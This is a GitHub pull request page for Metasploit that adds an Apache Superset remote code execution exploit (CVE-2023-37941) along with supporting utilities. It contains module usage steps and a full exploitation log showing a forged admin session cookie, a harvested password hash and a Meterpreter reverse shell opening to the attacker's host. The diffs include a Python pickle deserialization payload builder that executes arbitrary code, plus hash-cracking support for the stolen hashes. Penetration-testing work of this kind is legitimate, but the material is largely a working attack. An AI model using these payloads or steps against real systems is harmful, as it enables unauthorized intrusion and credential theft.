Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Apache Superset RCE (CVE-2023-37941) #18351

Merged
merged 10 commits into from
Oct 12, 2023
56 changes: 29 additions & 27 deletions docs/metasploit-framework.wiki/Hashes-and-Password-Cracking.md

Large diffs are not rendered by default.

Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,7 @@ These cookies can therefore be forged. If a user is able to login to the site, t
of an administrator, and re-sign the cookie. This valid cookie can then be used to login as the targeted user and retrieve database
credentials saved in Apache Superset.

## App Install
### App Install

```
sudo docker run -p 8088:8088 --name superset apache/superset:2.0.0
Expand All @@ -30,6 +30,7 @@ If you want any database credentials to be pulled, you'll need to configure a da
1. Install the application
1. Start msfconsole
1. Do: `use auxiliary/gather/apache_superset_priv_esc`
1. Do: `set rhost [ip]`
1. Do: `set username [username]`
1. Do: `set password [password]`
1. Do: `run`
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,141 @@
## Vulnerable Application

Apache Superset versions <= 2.0.0 utilize Flask with a known default secret key which is used to sign HTTP cookies.
These cookies can therefore be forged. If a user is able to login to the site, they can decode the cookie, set their user_id to that
of an administrator, and re-sign the cookie. This valid cookie can then be used to login as the targeted user. From there the
Superset database is mounted, and credentials are pulled. A dashboard is then created. Lastly a pickled python payload can be
set for that dashboard within Superset's database which will trigger the RCE.

An attempt to clean up ALL of the dashboard key values and reset them to their previous values happens during the cleanup phase.

### App Install

```
sudo docker run -p 8088:8088 --name superset apache/superset:2.0.0
sudo docker exec -it superset superset fab create-admin \
--username admin \
--firstname Superset \
--lastname Admin \
--email admin@superset.com \
--password admin
sudo docker exec -it superset superset db upgrade
sudo docker exec -it superset superset init
```

Login to the app, click 'list users' under 'Settings', then click '+'. Make a new user with 'Public' as the role.

## Verification Steps

1. Install the application
1. Start msfconsole
1. Do: `use exploit/linux/http/apache_superset_cookie_sig_rce`
1. Do: `set rhost [ip]`
1. Do: `set username [username]`
1. Do: `set password [password]`
1. Do: `run`
1. You should get a shell.

## Options

### USERNAME

The username to authenticate as. Required with no default.

### PASSWORD

The password for the specified username. Required with no default.

### ADMIN_ID

The ID of an admin account. Defaults to `1`

### SECRET_KEYS_FILE

A file containing secret keys to try. One per line. Defaults to `metasploit-framework/data/wordlists/superset_secret_keys.txt`

### DATABASE

Location on the target of the Superset database. Defaults to the Docker location `/app/superset_home/superset.db`

## Scenarios

### Apache Superset 2.0.0 on Docker

```
resource (superset_rce.rb)> use exploit/linux/http/apache_superset_cookie_sig_rce
[*] Using configured payload python/meterpreter/reverse_tcp
resource (superset_rce.rb)> set rhosts 127.0.0.1
rhosts => 127.0.0.1
resource (superset_rce.rb)> set verbose true
verbose => true
resource (superset_rce.rb)> set lhost 2.2.2.2
lhost => 2.2.2.2
resource (superset_rce.rb)> set username user
username => user
resource (superset_rce.rb)> set password user
password => user
resource (superset_rce.rb)> set proxies HTTP:127.0.0.1:8080
proxies => HTTP:127.0.0.1:8080
resource (superset_rce.rb)> set ReverseAllowProxy true
ReverseAllowProxy => true
resource (superset_rce.rb)> rexploit
[*] Reloading module...
[*] Started reverse TCP handler on 2.2.2.2:4444
[*] Attempting login
[*] Grabbing CSRF token
[*] 127.0.0.1:8088 - CSRF Token: IjZmOTM2NTI4MmRmYjQyNDdkMGVmMmUxOGVjZDBhOWNmZTZiYWFmZGEi.ZQSodw.C7YXKC5pMw0rGvnJcqVT5ZFkXYQ
[*] 127.0.0.1:8088 - Attempting login
[+] 127.0.0.1:8088 - Logged in Cookie: session=.eJwNjUEKgzAQRa8SZh2KTa1Vb-Cu-yIyJjMxdIiQhJYi3r1ZPfjw_jtgYcG8UYbxdYAqFfDFFEP0oGGKH5TglOw-xIt6CmEmVdJPoce6wHzOul4kyhuMjJJJg82Jl7K_KcIIHQ-37m5643htTftwDbGha0_WNThYpm5FZIc1JrtFoepU8fwDUO8x4g.ZQSodw.VE5Y8HQDKavvXpMdUVnZrfqiokI;
[*] 127.0.0.1:8088 - Checking secret key: \x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h
[-] 127.0.0.1:8088 - Incorrect secret key: \x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h
[*] 127.0.0.1:8088 - Checking secret key: CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET
[+] 127.0.0.1:8088 - Found secret key: CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET
[*] 127.0.0.1:8088 - Modified cookie: {"_flashes"=>[{" t"=>["warning", "Invalid login. Please try again."]}], "_fresh"=>false, "csrf_token"=>"6f9365282dfb4247d0ef2e18ecd0a9cfe6baafda", "locale"=>"en", "user_id"=>1}
[*] 127.0.0.1:8088 - Attempting to resign with key: CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET
[*] 127.0.0.1:8088 - New signed cookie: eyJfZmxhc2hlcyI6W3siIHQiOlsid2FybmluZyIsIkludmFsaWQgbG9naW4uIFBsZWFzZSB0cnkgYWdhaW4uIl19XSwiX2ZyZXNoIjpmYWxzZSwiY3NyZl90b2tlbiI6IjZmOTM2NTI4MmRmYjQyNDdkMGVmMmUxOGVjZDBhOWNmZTZiYWFmZGEiLCJsb2NhbGUiOiJlbiIsInVzZXJfaWQiOjF9.ZQSodw.tqvbZGeoJr4hx6k8CVM_XA-_AAE
[+] 127.0.0.1:8088 - Cookie validated to user: admin
[*] Attempting to pull user creds from db
[+] Successfully created db mapping with id: 2
[*] Creating new sqllab tab
[+] Using tab: 2
[*] Setting latest query id
[*] Harvesting superset user creds
[+] Superset Creds
==============

Username Password
-------- --------
admin $pbkdf2-sha256$260000$R203aXBtQVh3ZUlFVmREdQ$/Sivpafs38x.LXzDbxhSsvjfZC5pKpuPONqzOWnsgrk

[*] Attempting RCE
[*] Creating new dashboard
[+] New Dashboard id: 2
[*] Grabbing permalink to new dashboard to trigger payload later
[+] Dashboard permalink key: aojEJOPXQyB
[*] Grabbing values to reset later
[*] Setting latest query id
[*] Setting latest query id
[*] Uploading payload
[*] Triggering payload
[*] Sending stage (24772 bytes) to 1.1.1.1
[*] Meterpreter session 1 opened (2.2.2.2:4444 -> 1.1.1.1:57716) at 2023-09-15 14:54:49 -0400
[*] Unsetting RCE Payloads
[*] Restoring row ID 1
[*] Setting latest query id
[+] Successfully restored
[*] Restoring row ID 3
[*] Setting latest query id
[+] Successfully restored
[*] Deleting dashboard
[*] Deleting sqllab tab
[*] Deleting database mapping

meterpreter > getuid
Server username: superset
meterpreter > sysinfo
Computer : 2f7ff4a15c36
OS : Linux 6.4.0-kali3-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.4.11-1kali1 (2023-08-21)
Architecture : x64
System Language : C
Meterpreter : python/linux
```
2 changes: 2 additions & 0 deletions lib/metasploit/framework/hashes.rb
Original file line number Diff line number Diff line change
Expand Up @@ -124,6 +124,8 @@ def self.identify_hash(hash)
when hash =~ /^\*?[\da-fA-F]{32}\*[\da-fA-F]{32}$/
# we accept the beginning star as optional
return 'vnc'
when hash =~ /^\$pbkdf2-sha256\$[0-9]+\$[a-z0-9\/.]+\$[a-z0-9\/.]{43}$/i
return 'pbkdf2-sha256'
end
''
end
Expand Down
2 changes: 2 additions & 0 deletions lib/metasploit/framework/password_crackers/cracker.rb
Original file line number Diff line number Diff line change
Expand Up @@ -217,6 +217,8 @@ def jtr_format_to_hashcat_format(format)
'1711'
when 'Raw-MD5u'
'30'
when 'pbkdf2-sha256'
'10900'
end
end

Expand Down
28 changes: 28 additions & 0 deletions lib/metasploit/framework/password_crackers/hashcat/formatter.rb
Original file line number Diff line number Diff line change
Expand Up @@ -38,6 +38,34 @@ def hash_to_hashcat(cred)
# legacy MD5
# T: = 160 characters
# PBKDF2-based SHA512 hash specific to 12C (12.1.0.2+)
when /^pbkdf2-sha256/
# hashmode: 10900
# from: $pbkdf2-sha256$260000$Q1hzYjU5dFNMWm05QUJCTg$s.vmjGlIV0ZKV1Sp3dTdrcn/i9CTqxPZ0klve4HreeU
# to: sha256:29000:Q1hzYjU5dFNMWm05QUJCTg==:s+vmjGlIV0ZKV1Sp3dTdrcn/i9CTqxPZ0klve4HreeU=

# https://hashcat.net/forum/thread-7854-post-42417.html#pid42417 ironically gives Token encoding exception
c = cred.private.data.sub('$pbkdf2-sha256', 'sha256').split('$')

# This method takes a string which is likely base64 encoded
# however, there is an arbitrary amount of = missing from the end
# so we attempt to add = until we are able to decode it
#
# @param str [String] the base64-ish string
# @return [String] the corrected string
def add_equals_to_base64(str)
['', '=', '=='].each do |equals|
to_test = "#{str}#{equals}"
Base64.strict_decode64(to_test)
return to_test
rescue ArgumentError
next
end
nil
end

c[2] = add_equals_to_base64(c[2].gsub('.', '+')) # pad back out
c[3] = add_equals_to_base64(c[3].gsub('.', '+')) # pad back out
return c.join(':')
when /hmac-md5/
data = cred.private.data.split('#')
password = Rex::Text.encode_base64("#{cred.public.username} #{data[1]}")
Expand Down
30 changes: 30 additions & 0 deletions lib/msf/util/python_deserialization.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,30 @@
# -*- coding: binary -*-

# Python deserialization Utility
module Msf
module Util
# Python deserialization class
class PythonDeserialization
# That could be in the future a list of payloads used to exploit the Python deserialization vulnerability.
PAYLOADS = {
# this payload will work with Python 3.x targets to execute Python code in place
py3_exec: proc do |python_code|
escaped = python_code.gsub(/[\\\n\r]/) { |t| "\\u00#{t.ord.to_s(16).rjust(2, '0')}" }
%|c__builtin__\nexec\np0\n(V#{escaped}\np1\ntp2\nRp3\n.|
end
}

def self.payload(payload_name, command = nil)

raise ArgumentError, "#{payload_name} payload not found in payloads" unless payload_names.include? payload_name.to_sym

PAYLOADS[payload_name.to_sym].call(command)
end

def self.payload_names
PAYLOADS.keys
end

end
end
end
3 changes: 3 additions & 0 deletions modules/auxiliary/analyze/crack_webapps.rb
Original file line number Diff line number Diff line change
Expand Up @@ -16,6 +16,7 @@ def initialize
Atlassian uses PBKDF2-HMAC-SHA1 which is 12001 in hashcat.
PHPass uses phpass which is 400 in hashcat.
Mediawiki is MD5 based and is 3711 in hashcat.
Apache Superset, some Flask and Werkzeug apps is pbkdf2-sha256 and is 10900 in hashcat
},
'Author' =>
[
Expand All @@ -35,6 +36,7 @@ def initialize
OptBool.new('ATLASSIAN',[false, 'Include Atlassian hashes', true]),
OptBool.new('MEDIAWIKI',[false, 'Include MediaWiki hashes', true]),
OptBool.new('PHPASS',[false, 'Include Wordpress/PHPass, Joomla, phpBB3 hashes', true]),
OptBool.new('PBKDF2',[false, 'Apache Superset, some Flask and Werkzeug apps hashes', true]),
OptBool.new('INCREMENTAL',[false, 'Run in incremental mode', true]),
OptBool.new('WORDLIST',[false, 'Run in wordlist mode', true])
]
Expand Down Expand Up @@ -113,6 +115,7 @@ def check_results(passwords, results, hash_type, hashes, method)
hashes_regex = []
hashes_regex << 'PBKDF2-HMAC-SHA1' if datastore['ATLASSIAN']
hashes_regex << 'phpass' if datastore['PHPASS']
hashes_regex << 'pbkdf2-sha256' if datastore['PBKDF2']
hashes_regex << 'mediawiki' if datastore['MEDIAWIKI']

# array of arrays for cracked passwords.
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -36,7 +36,8 @@ def initialize(info = {})
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
'SideEffects' => [IOC_IN_LOGS],
'RelatedModules' => ['exploit/linux/http/apache_superset_cookie_sig_rce']
},
'DisclosureDate' => '2023-04-25'
)
Expand Down
Loading